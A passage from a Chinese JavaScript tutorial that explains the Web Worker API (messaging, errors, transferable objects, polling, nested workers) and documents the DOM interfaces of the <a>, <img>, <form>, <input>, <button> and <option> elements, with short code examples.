Worker()构造函数的参数是一个脚本文件,该文件就是 Worker 线程所要执行的任务。由于 Worker 不能读取本地文件,所以这个脚本必须来自网络。如果下载没有成功(比如404错误),Worker 就会默默地失败。

然后,主线程调用worker.postMessage()方法,向 Worker 发消息。

worker.postMessage('Hello World');
worker.postMessage({method: 'echo', args: ['Work']});

worker.postMessage()方法的参数,就是主线程传给 Worker 的数据。它可以是各种数据类型,包括二进制数据。

接着,主线程通过worker.onmessage指定监听函数,接收子线程发回来的消息。

worker.onmessage = function (event) {
  doSomething(event.data);
}

function doSomething() {
  // 执行任务
  worker.postMessage('Work done!');
}

上面代码中,事件对象的data属性可以获取 Worker 发来的数据。

Worker 完成任务以后,主线程就可以把它关掉。

worker.terminate();

Worker 线程

Worker 线程内部需要有一个监听函数,监听message事件。

self.addEventListener('message', function (e) {
  self.postMessage('You said: ' + e.data);
}, false);

上面代码中,self代表子线程自身,即子线程的全局对象。因此,等同于下面两种写法。

// 写法一
this.addEventListener('message', function (e) {
  this.postMessage('You said: ' + e.data);
}, false);

// 写法二
addEventListener('message', function (e) {
  postMessage('You said: ' + e.data);
}, false);

除了使用self.addEventListener()指定监听函数,也可以使用self.onmessage指定。监听函数的参数是一个事件对象,它的data属性包含主线程发来的数据。self.postMessage()方法用来向主线程发送消息。

根据主线程发来的数据,Worker 线程可以调用不同的方法,下面是一个例子。

self.addEventListener('message', function (e) {
  var data = e.data;
  switch (data.cmd) {
    case 'start':
      self.postMessage('WORKER STARTED: ' + data.msg);
      break;
    case 'stop':
      self.postMessage('WORKER STOPPED: ' + data.msg);
      self.close(); // Terminates the worker.
      break;
    default:
      self.postMessage('Unknown command: ' + data.msg);
  };
}, false);

上面代码中,self.close()用于在 Worker 内部关闭自身。

Worker 加载脚本

Worker 内部如果要加载其他脚本,有一个专门的方法importScripts()

importScripts('script1.js');

该方法可以同时加载多个脚本。

importScripts('script1.js', 'script2.js');

错误处理

主线程可以监听 Worker 是否发生错误。如果发生错误,Worker 会触发主线程的error事件。

worker.onerror = function (event) {
  console.log(
    'ERROR: Line ', event.lineno, ' in ', event.filename, ': ', event.message
  );
};

// 或者
worker.addEventListener('error', function (event) {
  // ...
});

Worker 内部也可以监听error事件。

关闭 Worker

使用完毕,为了节省系统资源,必须关闭 Worker。

// 主线程
worker.terminate();

// Worker 线程
self.close();

数据通信

前面说过,主线程与 Worker 之间的通信内容,可以是文本,也可以是对象。需要注意的是,这种通信是拷贝关系,即是传值而不是传址,Worker 对通信内容的修改,不会影响到主线程。事实上,浏览器内部的运行机制是,先将通信内容串行化,然后把串行化后的字符串发给 Worker,后者再将它还原。

主线程与 Worker 之间也可以交换二进制数据,比如 File、Blob、ArrayBuffer 等类型,也可以在线程之间发送。下面是一个例子。

// 主线程
var uInt8Array = new Uint8Array(new ArrayBuffer(10));
for (var i = 0; i < uInt8Array.length; ++i) {
  uInt8Array[i] = i * 2; // [0, 2, 4, 6, 8,...]
}
worker.postMessage(uInt8Array);

// Worker 线程
self.onmessage = function (e) {
  var uInt8Array = e.data;
  postMessage('Inside worker.js: uInt8Array.toString() = ' + uInt8Array.toString());
  postMessage('Inside worker.js: uInt8Array.byteLength = ' + uInt8Array.byteLength);
};

但是,拷贝方式发送二进制数据,会造成性能问题。比如,主线程向 Worker 发送一个 500MB 文件,默认情况下浏览器会生成一个原文件的拷贝。为了解决这个问题,JavaScript 允许主线程把二进制数据直接转移给子线程,但是一旦转移,主线程就无法再使用这些二进制数据了,这是为了防止出现多个线程同时修改数据的麻烦局面。这种转移数据的方法,叫做Transferable Objects。这使得主线程可以快速把数据交给 Worker,对于影像处理、声音处理、3D 运算等就非常方便了,不会产生性能负担。

如果要直接转移数据的控制权,就要使用下面的写法。

// Transferable Objects 格式
worker.postMessage(arrayBuffer, [arrayBuffer]);

// 例子
var ab = new ArrayBuffer(1);
worker.postMessage(ab, [ab]);

同页面的 Web Worker

通常情况下,Worker 载入的是一个单独的 JavaScript 脚本文件,但是也可以载入与主线程在同一个网页的代码。

<!DOCTYPE html>
  <body>
    <script id="worker" type="app/worker">
      addEventListener('message', function () {
        postMessage('some message');
      }, false);
    </script>
  </body>
</html>

上面是一段嵌入网页的脚本,注意必须指定<script>标签的type属性是一个浏览器不认识的值,上例是app/worker

然后,读取这一段嵌入页面的脚本,用 Worker 来处理。

var blob = new Blob([document.querySelector('#worker').textContent]);
var url = window.URL.createObjectURL(blob);
var worker = new Worker(url);

worker.onmessage = function (e) {
  // e.data === 'some message'
};

上面代码中,先将嵌入网页的脚本代码,转成一个二进制对象,然后为这个二进制对象生成 URL,再让 Worker 加载这个 URL。这样就做到了,主线程和 Worker 的代码都在同一个网页上面。

实例:Worker 线程完成轮询

有时,浏览器需要轮询服务器状态,以便第一时间得知状态改变。这个工作可以放在 Worker 里面。

function createWorker(f) {
  var blob = new Blob(['(' + f.toString() + ')()']);
  var url = window.URL.createObjectURL(blob);
  var worker = new Worker(url);
  return worker;
}

var pollingWorker = createWorker(function (e) {
  var cache;

  function compare(new, old) { ... };

  setInterval(function () {
    fetch('/my-api-endpoint').then(function (res) {
      var data = res.json();

      if (!compare(data, cache)) {
        cache = data;
        self.postMessage(data);
      }
    })
  }, 1000)
});

pollingWorker.onmessage = function () {
  // render data
}

pollingWorker.postMessage('init');

上面代码中,Worker 每秒钟轮询一次数据,然后跟缓存做比较。如果不一致,就说明服务端有了新的变化,因此就要通知主线程。

实例: Worker 新建 Worker

Worker 线程内部还能再新建 Worker 线程(目前只有 Firefox 浏览器支持)。下面的例子是将一个计算密集的任务,分配到10个 Worker。

主线程代码如下。

var worker = new Worker('worker.js');
worker.onmessage = function (event) {
  document.getElementById('result').textContent = event.data;
};

Worker 线程代码如下。

// worker.js

// settings
var num_workers = 10;
var items_per_worker = 1000000;

// start the workers
var result = 0;
var pending_workers = num_workers;
for (var i = 0; i < num_workers; i += 1) {
  var worker = new Worker('core.js');
  worker.postMessage(i * items_per_worker);
  worker.postMessage((i + 1) * items_per_worker);
  worker.onmessage = storeResult;
}

// handle the results
function storeResult(event) {
  result += event.data;
  pending_workers -= 1;
  if (pending_workers <= 0)
    postMessage(result); // finished!
}

上面代码中,Worker 线程内部新建了10个 Worker 线程,并且依次向这10个 Worker 发送消息,告知了计算的起点和终点。计算任务脚本的代码如下。

// core.js
var start;
onmessage = getStart;
function getStart(event) {
  start = event.data;
  onmessage = getEnd;
}

var end;
function getEnd(event) {
  end = event.data;
  onmessage = null;
  work();
}

function work() {
  var result = 0;
  for (var i = start; i < end; i += 1) {
    // perform some complex calculation here
    result += 1;
  }
  postMessage(result);
  close();
}

API

主线程

浏览器原生提供Worker()构造函数,用来供主线程生成 Worker 线程。

var myWorker = new Worker(jsUrl, options);

Worker()构造函数,可以接受两个参数。第一个参数是脚本的网址(必须遵守同源政策),该参数是必需的,且只能加载 JS 脚本,否则会报错。第二个参数是配置对象,该对象可选。它的一个作用就是指定 Worker 的名称,用来区分多个 Worker 线程。

// 主线程
var myWorker = new Worker('worker.js', { name : 'myWorker' });

// Worker 线程
self.name // myWorker

Worker()构造函数返回一个 Worker 线程对象,用来供主线程操作 Worker。Worker 线程对象的属性和方法如下。

  • Worker.onerror:指定 error 事件的监听函数。
  • Worker.onmessage:指定 message 事件的监听函数,发送过来的数据在Event.data属性中。
  • Worker.onmessageerror:指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时,会触发这个事件。
  • Worker.postMessage():向 Worker 线程发送消息。
  • Worker.terminate():立即终止 Worker 线程。

Worker 线程

Web Worker 有自己的全局对象,不是主线程的window,而是一个专门为 Worker 定制的全局对象。因此定义在window上面的对象和方法不是全部都可以使用。

Worker 线程有一些自己的全局属性和方法。

  • self.name: Worker 的名字。该属性只读,由构造函数指定。
  • self.onmessage:指定message事件的监听函数。
  • self.onmessageerror:指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时,会触发这个事件。
  • self.close():关闭 Worker 线程。
  • self.postMessage():向产生这个 Worker 的线程发送消息。
  • self.importScripts():加载 JS 脚本。

(完)

10.附录:网页元素接口

<a> 元素

<a>元素用来设置链接。除了网页元素的通用接口(Node接口、Element接口、HTMLElement接口),它还继承了HTMLAnchorElement接口和HTMLHyperlinkElementUtils接口。

属性

URL 相关属性

<a>元素有一系列 URL 相关属性,可以用来操作链接地址。这些属性的含义,可以参见Location对象的实例属性。

  • hash:片段识别符(以#开头)
  • host:主机和端口(默认端口80和443会省略)
  • hostname:主机名
  • href:完整的 URL
  • origin:协议、域名和端口
  • password:主机名前的密码
  • pathname:路径(以/开头)
  • port:端口
  • protocol:协议(包含尾部的冒号:
  • search:查询字符串(以?开头)
  • username:主机名前的用户名
// HTML 代码如下
// <a id="test" href="http://user:passwd@example.com:8081/index.html?bar=1#foo">test</a>
var a = document.getElementById('test');
a.hash // "#foo"
a.host // "example.com:8081"
a.hostname // "example.com"
a.href // "http://user:passed@example.com:8081/index.html?bar=1#foo"
a.origin // "http://example.com:8081"
a.password // "passwd"
a.pathname // "/index.html"
a.port // "8081"
a.protocol // "http:"
a.search // "?bar=1"
a.username // "user"

除了origin属性是只读的,上面这些属性都是可读写的。

accessKey 属性

accessKey属性用来读写<a>元素的快捷键。

// HTML 代码如下
// <a id="test" href="http://example.com">test</a>
var a = document.getElementById('test');
a.accessKey = 'k';

上面代码设置<a>元素的快捷键为k,以后只要按下这个快捷键,浏览器就会跳转到example.com

注意,不同的浏览器在不同的操作系统下,唤起快捷键的功能键组合是不一样的。比如,Chrome 浏览器在 Linux 系统下,需要按下Alt + k,才会跳转到example.com

download 属性

download属性表示当前链接不是用来浏览,而是用来下载的。它的值是一个字符串,表示用户下载得到的文件名。

// HTML 代码如下
// <a id="test" href="foo.jpg">下载</a>
var a = document.getElementById('test');
a.download = 'bar.jpg';

上面代码中,<a>元素是一个图片链接,默认情况下,点击后图片会在当前窗口加载。设置了download属性以后,再点击这个链接,就会下载对话框,询问用户保存位置,而且下载的文件名为bar.jpg

hreflang 属性

hreflang属性用来读写<a>元素的 HTML 属性hreflang,表示链接指向的资源的语言,比如hreflang="en"

// HTML 代码如下
// <a id="test" href="https://example.com" hreflang="en">test</a>
var a = document.getElementById('test');
a.hreflang // "en"

referrerPolicy 属性

referrerPolicy属性用来读写<a>元素的 HTML 属性referrerPolicy,指定当用户点击链接时,如何发送 HTTP 头信息的referer字段。

HTTP 头信息的referer字段,表示当前请求是从哪里来的。它的格式可以由<a>元素的referrerPolicy属性指定,共有三个值可以选择。

  • no-referrer:不发送referer字段。
  • originreferer字段的值是<a>元素的origin属性,即协议 + 主机名 + 端口。
  • unsafe-urlreferer字段的值是origin属性再加上路径,但不包含#片段。这种格式提供的信息最详细,可能存在信息泄漏的风险。
// HTML 代码如下
// <a id="test" href="https://example.com" referrerpolicy="no-referrer">test</a>
var a = document.getElementById('test');
a.referrerPolicy // "no-referrer"

rel 属性

rel属性用来读写<a>元素的 HTML 属性rel,表示链接与当前文档的关系。

// HTML 代码如下
// <a id="test" href="https://example.com" rel="license">license.html</a>
var a = document.getElementById('test');
a.rel // "license"

tabIndex 属性

tabIndex属性的值是一个整数,用来读写当前<a>元素在文档里面的 Tab 键遍历顺序。

// HTML 代码如下
// <a id="test" href="https://example.com">test</a>
var a = document.getElementById('test');
a.tabIndex // 0

target 属性

target属性用来读写<a>元素的 HTML 属性target

// HTML 代码如下
// <a id="test" href="https://example.com" target="_blank">test</a>
var a = document.getElementById('test');
a.target // "_blank"

text 属性

text属性用来读写<a>元素的链接文本,等同于当前节点的textContent属性。

// HTML 代码如下
// <a id="test" href="https://example.com">test</a>
var a = document.getElementById('test');
a.text // "test"

type 属性

type属性用来读写<a>元素的 HTML 属性type,表示链接目标的 MIME 类型。

// HTML 代码如下
// <a id="test" type="video/mp4" href="example.mp4">video</a>
var a = document.getElementById('test');
a.type // "video/mp4"

方法

<a>元素的方法都是继承的,主要有以下三个。

  • blur():从当前元素移除键盘焦点,详见HTMLElement接口的介绍。
  • focus():当前元素得到键盘焦点,详见HTMLElement接口的介绍。
  • toString():返回当前<a>元素的 HTML 属性href

<img> 元素

概述

<img>元素用于插入图片,主要继承了 HTMLImageElement 接口。

浏览器提供一个原生构造函数Image,用于生成HTMLImageElement实例。

var img = new Image();
img instanceof Image // true
img instanceof HTMLImageElement // true

Image构造函数可以接受两个整数作为参数,分别表示<img>元素的宽度和高度。

// 语法
Image(width, height)

// 用法
var myImage = new Image(100, 200);

<img>实例的src属性可以定义图像的网址。

var img = new Image();
img.src = 'picture.jpg';

新生成的<img>实例并不属于文档的一部分。如果想让它显示在文档中,必须手动插入文档。

var img = new Image();
img.src = 'image1.png';
document.body.appendChild(img);

除了使用Image构造,下面的方法也可以得到HTMLImageElement实例。

  • document.images的成员
  • 节点选取方法(比如document.getElementById)得到的<img>节点
  • document.createElement('img')生成的<img>节点
document.images[0] instanceof HTMLImageElement
// true

var img = document.getElementById('myImg');
img instanceof HTMLImageElement
// true

var img = document.createElement('img');
img instanceof HTMLImageElement
// true

HTMLImageElement实例除了具有 Node、Element、HTMLElement 接口以外,还拥有一些独有的属性。这个接口没有定义自己的方法。

特性相关的属性

(1)HTMLImageElement.src

HTMLImageElement.src属性返回图像的完整网址。

// HTML 代码如下
// <img width="300" height="400" id="myImg" src="http://example.com/pic.jpg">
var img = document.getElementById('img');
img.src // http://example.com/pic.jpg

(2)HTMLImageElement.currentSrc

HTMLImageElement.currentSrc属性返回当前正在展示的图像的网址。JavaScript 和 CSS 的 mediaQuery 都可能改变正在展示的图像。

(3)HTMLImageElement.alt

HTMLImageElement.alt属性可以读写<img>的 HTML 属性alt,表示对图片的文字说明。

(4)HTMLImageElement.isMap,HTMLImageElement.useMap

HTMLImageElement.isMap属性对应<img>元素的 HTML 属性ismap,返回一个布尔值,表示图像是否为服务器端的图像映射的一部分。

HTMLImageElement.useMap属性对应<img>元素的 HTML 属性usemap,表示当前图像对应的<map>元素。

(5)HTMLImageElement.srcset,HTMLImageElement.sizes

HTMLImageElement.srcset属性和HTMLImageElement.sizes属性,分别用于读写<img>元素的srcset属性和sizes属性。它们用于<img>元素的响应式加载。srcset属性可以单独使用,但是sizes属性必须与srcset属性同时使用。

// HTML 代码如下
// <img srcset="example-320w.jpg 320w,
//              example-480w.jpg 480w,
//              example-800w.jpg 800w"
//      sizes="(max-width: 320px) 280px,
//             (max-width: 480px) 440px,
//             800px"
//      id="myImg"
//      src="example-800w.jpg">
var img = document.getElementById('myImg');
img.srcset
// "example-320w.jpg 320w,
//  example-480w.jpg 480w,
//  example-800w.jpg 800w"

img.sizes
// "(max-width: 320px) 280px,
//  (max-width: 480px) 440px,
//  800px"

上面代码中,sizes属性指定,对于小于320px的屏幕,图像的宽度为280px;对于小于480px的屏幕,图像宽度为440px;其他情况下,图像宽度为800px。然后,浏览器会根据当前屏幕下的图像宽度,到srcset属性加载宽度最接近的图像。

HTMLImageElement.width,HTMLImageElement.height

width属性表示<img>的 HTML 宽度,height属性表示高度。这两个属性返回的都是整数。

// HTML 代码如下
// <img width="300" height="400" id="myImg" src="pic.jpg">
var img = document.getElementById('img');
img.width // 300
img.height // 400

如果图像还没有加载,这两个属性返回的都是0

如果 HTML 代码没有设置widthheight属性,则它们返回的是图像的实际宽度和高度,即HTMLImageElement.naturalWidth属性和HTMLImageElement.naturalHeight属性。

HTMLImageElement.naturalWidth,HTMLImageElement.naturalHeight

HTMLImageElement.naturalWidth属性表示图像的实际宽度(单位像素),HTMLImageElement.naturalHeight属性表示实际高度。这两个属性返回的都是整数。

如果图像还没有指定或不可得,这两个属性都等于0

var img = document.getElementById('img');
if (img.naturalHeight > img.naturalWidth) {
  img.classList.add('portrait');
}

上面代码中,如果图片的高度大于宽度,则设为portrait模式。

HTMLImageElement.complete

HTMLImageElement.complete属性返回一个布尔值,表示图表是否已经加载完成。如果<img>元素没有src属性,也会返回true

HTMLImageElement.crossOrigin

HTMLImageElement.crossOrigin属性用于读写<img>元素的crossorigin属性,表示跨域设置。

这个属性有两个可能的值。

  • anonymous:跨域请求不要求用户身份(credentials),这是默认值。
  • use-credentials:跨域请求要求用户身份。
// HTML 代码如下
// <img crossorigin="anonymous" id="myImg" src="pic.jpg">
var img = document.getElementById('img');
img.crossOrigin // "anonymous"

HTMLImageElement.referrerPolicy

HTMLImageElement.referrerPolicy用来读写<img>元素的 HTML 属性referrerpolicy,表示请求图像资源时,如何处理 HTTP 请求的referrer字段。

它有五个可能的值。

  • no-referrer:不带有referrer字段。
  • no-referrer-when-downgrade:如果请求的地址不是 HTTPS 协议,就不带有referrer字段,这是默认值。
  • originreferrer字段是当前网页的地址,包含协议、域名和端口。
  • origin-when-cross-origin:如果请求的地址与当前网页是同源关系,那么referrer字段将带有完整路径,否则将只包含协议、域名和端口。
  • unsafe-urlreferrer字段包含当前网页的地址,除了协议、域名和端口以外,还包括路径。这个设置是不安全的,因为会泄漏路径信息。

HTMLImageElement.x,HTMLImageElement.y

HTMLImageElement.x属性返回图像左上角相对于页面左上角的横坐标,HTMLImageElement.y属性返回纵坐标。

事件属性

图像加载完成,会触发onload属性指定的回调函数。

// HTML 代码为 <img src="example.jpg" onload="loadImage()">
function loadImage() {
  console.log('Image is loaded');
}

图像加载过程中发生错误,会触发onerror属性指定的回调函数。

// HTML 代码为 <img src="image.gif" onerror="myFunction()">
function myFunction() {
  console.log('There is something wrong');
}

<form> 元素

<form>元素代表了表单,继承了 HTMLFormElement 接口。

HTMLFormElement 的实例属性

  • elements:返回一个类似数组的对象,成员是属于该表单的所有控件元素。该属性只读。
  • length:返回一个整数,表示属于该表单的控件数量。该属性只读。
  • name:字符串,表示该表单的名称。
  • method:字符串,表示提交给服务器时所使用的 HTTP 方法。
  • target:字符串,表示表单提交后,服务器返回的数据的展示位置。
  • action:字符串,表示表单提交数据的 URL。
  • enctype(或encoding):字符串,表示表单提交数据的编码方法,可能的值有application/x-www-form-urlencodedmultipart/form-datatext/plain
  • acceptCharset:字符串,表示服务器所能接受的字符编码,多个编码格式之间使用逗号或空格分隔。
  • autocomplete:字符串onoff,表示浏览器是否要对<input>控件提供自动补全。
  • noValidate:布尔值,表示是否关闭表单的自动校验。

HTMLFormElement 的实例方法

  • submit():提交表单,但是不会触发submit事件和表单的自动校验。
  • reset():重置表单控件的值为默认值。
  • checkValidity():如果控件能够通过自动校验,返回true,否则返回false,同时触发invalid事件。

下面是一个创建表单并提交的例子。

var f = document.createElement('form');
document.body.appendChild(f);
f.action = '/cgi-bin/some.cgi';
f.method = 'POST';
f.submit();

<input> 元素

<input>元素主要用于表单组件,它继承了 HTMLInputElement 接口。

HTMLInputElement 的实例属性

特征属性

  • name:字符串,表示<input>节点的名称。该属性可读写。
  • type:字符串,表示<input>节点的类型。该属性可读写。
  • disabled:布尔值,表示<input>节点是否禁止使用。一旦被禁止使用,表单提交时不会包含该<input>节点。该属性可读写。
  • autofocus:布尔值,表示页面加载时,该元素是否会自动获得焦点。该属性可读写。
  • required:布尔值,表示表单提交时,该<input>元素是否必填。该属性可读写。
  • value:字符串,表示该<input>节点的值。该属性可读写。
  • validity:返回一个ValidityState对象,表示<input>节点的校验状态。该属性只读。
  • validationMessage:字符串,表示该<input>节点的校验失败时,用户看到的报错信息。如果该节点不需要校验,或者通过校验,该属性为空字符串。该属性只读。
  • willValidate:布尔值,表示表单提交时,该<input>元素是否会被校验。该属性只读。

表单相关属性

  • form:返回<input>元素所在的表单(<form>)节点。该属性只读。
  • formAction:字符串,表示表单提交时的服务器目标。该属性可读写,一旦设置了这个属性,会覆盖表单元素的action属性。
  • formEncType:字符串,表示表单提交时数据的编码方式。该属性可读写,一旦设置了这个属性,会覆盖表单元素的enctype的属性。
  • formMethod:字符串,表示表单提交时的 HTTP 方法。该属性可读写,一旦设置了这个属性,会覆盖表单元素的method属性。
  • formNoValidate:布尔值,表示表单提交时,是否要跳过校验。该属性可读写,一旦设置了这个属性,会覆盖表单元素的formNoValidate属性。
  • formTarget:字符串,表示表单提交后,服务器返回数据的打开位置。该属性可读写,一旦设置了这个属性,会覆盖表单元素的target属性。

文本输入框的特有属性

以下属性只有在<input>元素可以输入文本时才有效。

  • autocomplete:字符串onoff,表示该<input>节点的输入内容可以被浏览器自动补全。该属性可读写。
  • maxLength:整数,表示可以输入的字符串最大长度。如果设为负整数,会报错。该属性可读写。
  • size:整数,表示<input>节点的显示长度。如果类型是textpassword,该属性的单位是字符个数,否则单位是像素。该属性可读写。
  • pattern:字符串,表示<input>节点的值应该满足的正则表达式。该属性可读写。
  • placeholder:字符串,表示该<input>节点的占位符,作为对元素的提示。该字符串不能包含回车或换行。该属性可读写。
  • readOnly:布尔值,表示用户是否可以修改该节点的值。该属性可读写。
  • min:字符串,表示该节点的最小数值或日期,且不能大于max属性。该属性可读写。
  • max:字符串,表示该节点的最大数值或日期,且不能小于min属性。该属性可读写。
  • selectionStart:整数,表示选中文本的起始位置。如果没有选中文本,返回光标在<input>元素内部的位置。该属性可读写。
  • selectionEnd:整数,表示选中文本的结束位置。如果没有选中文本,返回光标在<input>元素内部的位置。该属性可读写。
  • selectionDirection:字符串,表示选中文本的方向。可能的值包括forward(与文字书写方向一致)、backward(与文字书写方向相反)和none(文字方向未知)。该属性可读写。

复选框和单选框的特有属性

如果<input>元素的类型是复选框(checkbox)或单选框(radio),会有下面的特有属性。

  • checked:布尔值,表示该<input>元素是否选中。该属性可读写。
  • defaultChecked:布尔值,表示该<input>元素默认是否选中。该属性可读写。
  • indeterminate:布尔值,表示该<input>元素是否还没有确定的状态。一旦用户点击过一次,该属性就会变成false,表示用户已经给出确定的状态了。该属性可读写。

图像按钮的特有属性

如果<input>元素的类型是image,就会变成一个图像按钮,会有下面的特有属性。

  • alt:字符串,图像无法显示时的替代文本。该属性可读写。
  • height:字符串,表示该元素的高度(单位像素)。该属性可读写。
  • src:字符串,表示该元素的图片来源。该属性可读写。
  • width:字符串,表示该元素的宽度(单位像素)。该属性可读写。

文件上传按钮的特有属性

如果<input>元素的类型是file,就会变成一个文件上传按钮,会有下面的特有属性。

  • accept:字符串,表示该元素可以接受的文件类型,类型之间使用逗号分隔。该属性可读写。
  • files:返回一个FileList实例对象,包含了选中上传的一组File实例对象。

其他属性

  • defaultValue:字符串,表示该<input>节点的原始值。
  • dirName:字符串,表示文字方向。
  • accessKey:字符串,表示让该<input>节点获得焦点的某个字母键。
  • list:返回一个<datalist>节点,该节点必须绑定<input>元素,且<input>元素的类型必须可以输入文本,否则无效。该属性只读。
  • multiple:布尔值,表示是否可以选择多个值。
  • labels:返回一个NodeList实例,代表绑定当前<input>节点的<label>元素。该属性只读。
  • step:字符串,表示在min属性到max属性之间,每次递增或递减时的数值或时间。
  • valueAsDateDate实例,一旦设置,该<input>元素的值会被解释为指定的日期。如果无法解析该属性的值,<input>节点的值将是null
  • valueAsNumber:浮点数,当前<input>元素的值会被解析为这个数值。如果输入框为空,该属性返回NaN

下面是valueAsNumber属性的例子。

/* HTML 代码如下
   <input type="number" value="1.234" />
*/

input.value // "1.234"
input.valueAsNumber // 1.234

HTMLInputElement 的实例方法

  • focus():当前<input>元素获得焦点。
  • blur():移除<input>元素的焦点。
  • select():选中<input>元素内部的所有文本。该方法不能保证<input>获得焦点,最好先用focus()方法,再用这个方法。
  • click():模拟鼠标点击当前的<input>元素。
  • setSelectionRange():选中<input>元素内部的一段文本,但不会将焦点转移到选中的文本。该方法接受三个参数,第一个参数是开始的位置(从0开始),第二个参数是结束的位置(不包括该位置),第三个参数是可选的,表示选择的方向,有三个可能的值(forwardbackward和默认值none)。
  • setRangeText():新文本替换选中的文本。该方法接受四个参数,第一个参数是新文本,第二个参数是替换的开始位置(从0开始计算),第三个参数是结束位置(该位置不包括在内),第四个参数表示替换后的行为(可选),有四个可能的值:select(选中新插入的文本)、start(光标位置移到插入的文本之前)、end(光标位置移到插入的文本之后)、preserve(默认值,如果原先就有文本被选中且本次替换位置与原先选中位置有交集,则替换后同时选中新插入的文本与原先选中的文本,否则保持原先选中的文本)。
  • setCustomValidity():该方法用于自定义校验失败时的报错信息。它的参数就是报错的提示信息。注意,一旦设置了自定义报错信息,该字段就不会校验通过了,因此用户重新输入时,必须将自定义报错信息设为空字符串,请看下面的例子。
  • checkValidity():返回一个布尔值,表示当前节点的校验结果。如果返回false,表示不满足校验要求,否则就是校验成功或不必校验。
  • stepDown():将当前<input>节点的值减少一个步长。该方法可以接受一个整数n作为参数,表示一次性减少n个步长,默认是1。有几种情况会抛错:当前<input>节点不适合递减或递增、当前节点没有step属性、<input>节点的值不能转为数字、递减之后的值小于min属性或大于max属性。
  • stepUp():将当前<input>节点的值增加一个步长。其他与stepDown()方法相同。

下面是setSelectionRange()方法的一个例子。

/* HTML 代码如下
  <p><input type="text" id="mytextbox" size="20" value="HelloWorld"/></p>
  <p><button onclick="SelectText()">选择文本</button></p>
*/

function SelectText() {
  var input = document.getElementById('mytextbox');
  input.focus();
  input.setSelectionRange(2, 5);
}

上面代码中,点击按钮以后,会选中llo三个字符。

下面是setCustomValidity()的例子。

/* HTML 代码如下
  <form id="form">
    <input id="field" type="text" pattern="[a-f,0-9]{4}" autocomplete=off>
  </form>
*/

const form   = document.querySelector('#form');
const field  = document.querySelector('#field');

form.addEventListener('submit', (e) => {
  e.preventDefault(); // 防止这个例子发出 POST 请求
});

field.oninvalid = (event) => {
  event.target.setCustomValidity('必须是一个 4 位十六进制数');
}

field.oninput = (event) => {
  event.target.setCustomValidity('');
}

上面代码中,输入框必须输入一个4位的十六进制数。如果不满足条件(比如输入xxx),按下回车键以后,就会提示自定义的报错信息。一旦自定义了报错信息,输入框就会一直处于校验失败状态,因此重新输入时,必须把自定义报错信息设为空字符串。另外,为了避免自动补全提示框遮住报错信息,必须将输入框的autocomplete属性关闭。

<button> 元素

<button>元素继承了HTMLButtonElement接口。它有以下的实例属性。

(1)HTMLButtonElement.accessKey

HTMLButtonElement.accessKey属性返回一个字符串,表示键盘上对应的键,通过Alt + 这个键可以让按钮获得焦点。该属性可读写。

(2)HTMLButtonElement.autofocus

HTMLButtonElement.autofocus属性是一个布尔值,表示页面加载过程中,按钮是否会自动获得焦点。该属性可读写。

(3)HTMLButtonElement.disabled

HTMLButtonElement.disabled属性是一个布尔值,表示该按钮是否禁止点击。该属性可读写。

(4)HTMLButtonElement.form

HTMLButtonElement.form属性是一个表单元素,返回该按钮所在的表单。该属性只读。如果按钮不属于任何表单,该属性返回null

(5)HTMLButtonElement.formAction

HTMLButtonElement.formAction返回一个字符串,表示表单提交的 URL。该属性可读写,一旦设置了值,点击按钮就会提交到该属性指定的 URL,而不是<form>元素指定的 URL。

(6)HTMLButtonElement.formEnctype

HTMLButtonElement.formEnctype属性是一个字符串,表示数据提交到服务器的编码类型。该属性可读写,一旦设置了值,点击按钮会按照该属性指定的编码方式,而不是<form>元素指定的编码方式。

该属性可以取以下的值。

  • application/x-www-form-urlencoded(默认值)
  • multipart/form-data(上传文件的编码方式)
  • text/plain

(7)HTMLButtonElement.formMethod

HTMLButtonElement.formMethod属性是一个字符串,表示浏览器提交表单的 HTTP 方法。该属性可读写,一旦设置了值,点击后就会采用该属性指定的 HTTP 方法,而不是<form>元素指定的编码方法。

(8)HTMLButtonElement.formNoValidate

HTMLButtonElement.formNoValidate属性是一个布尔值,表示点击按钮提交表单时,是否要跳过表单校验的步骤。该属性可读写,一旦设置会覆盖<form>元素的novalidate属性。

(9)HTMLButtonElement.formTarget

HTMLButtonElement.formTarget属性是一个字符串,指定了提交了表单以后,哪个窗口展示服务器返回的内容。该属性可读写,一旦设置会覆盖<form>元素的target属性。

(10)HTMLButtonElement.labels

HTMLButtonElement.labels返回NodeList实例,表示那些绑定按钮的<label>元素。该属性只读。

/* HTML 代码如下
  <label id="label1" for="test">Label 1</label>
  <button id="test">Button</button>
  <label id="label2" for="test">Label 2</label>
*/

const button = document.getElementById('test');

for(var i = 0; i < button.labels.length; i++) {
  console.log(button.labels[i].textContent);
}
// "Label 1"
// "Label 2"

上面代码中,两个<label>元素绑定<button>元素。button.labels返回这两个<label>元素。

(11)HTMLButtonElement.name

HTMLButtonElement.name属性是一个字符串,表示按钮元素的name属性。如果没有设置name属性,则返回空字符串。该属性可读写。

(12)HTMLButtonElement.tabIndex

HTMLButtonElement.tabIndex是一个整数,代表按钮元素的 Tab 键顺序。该属性可读写。

(13)HTMLButtonElement.type

HTMLButtonElement.type属性是一个字符串,表示按钮的行为。该属性可读写,可能取以下的值。

  • submit:默认值,表示提交表单。
  • reset:重置表单。
  • button:没有任何默认行为。

(14)HTMLButtonElement.validationMessage

HTMLButtonElement.validationMessage属性是一个字符串,表示没有通过校验时显示的提示信息。该属性只读。

(15)HTMLButtonElement.validity

HTMLButtonElement.validity属性返回该按钮的校验状态(ValidityState)。该属性只读。

(16)HTMLButtonElement.value

HTMLButtonElement.value属性返回该按钮绑定的值。该属性可读写。

(17)HTMLButtonElement.willValidate

HTMLButtonElement.willValidate属性是一个布尔值,表示该按钮提交表单时是否将被校验,默认为false。该属性只读。

<option> 元素

<option>元素表示下拉框(<select><optgroup><datalist>)里面的一个选项。它是 HTMLOptionElement 接口的实例。

属性

除了继承 HTMLElement 接口的属性和方法,HTMLOptionElement 接口具有下面的属性。

  • disabled:布尔值,表示该项是否可选择。
  • defaultSelected:布尔值,表示该项是否默认选中。一旦设为true,该项的值就是<select>的默认值。
  • form:返回<option>所在的表单元素。如果不属于任何表单,则返回null。该属性只读。
  • index:整数,表示该选项在整个下拉列表里面的位置。该属性只读。
  • label:字符串,表示对该选项的说明。如果该属性未设置,则返回该选项的文本内容。
  • selected:布尔值,表示该选项是否选中。
  • text:字符串,该选项的文本内容。
  • value:字符串,该选项的值。表单提交时,上传的就是选中项的这个属性。

Option() 构造函数

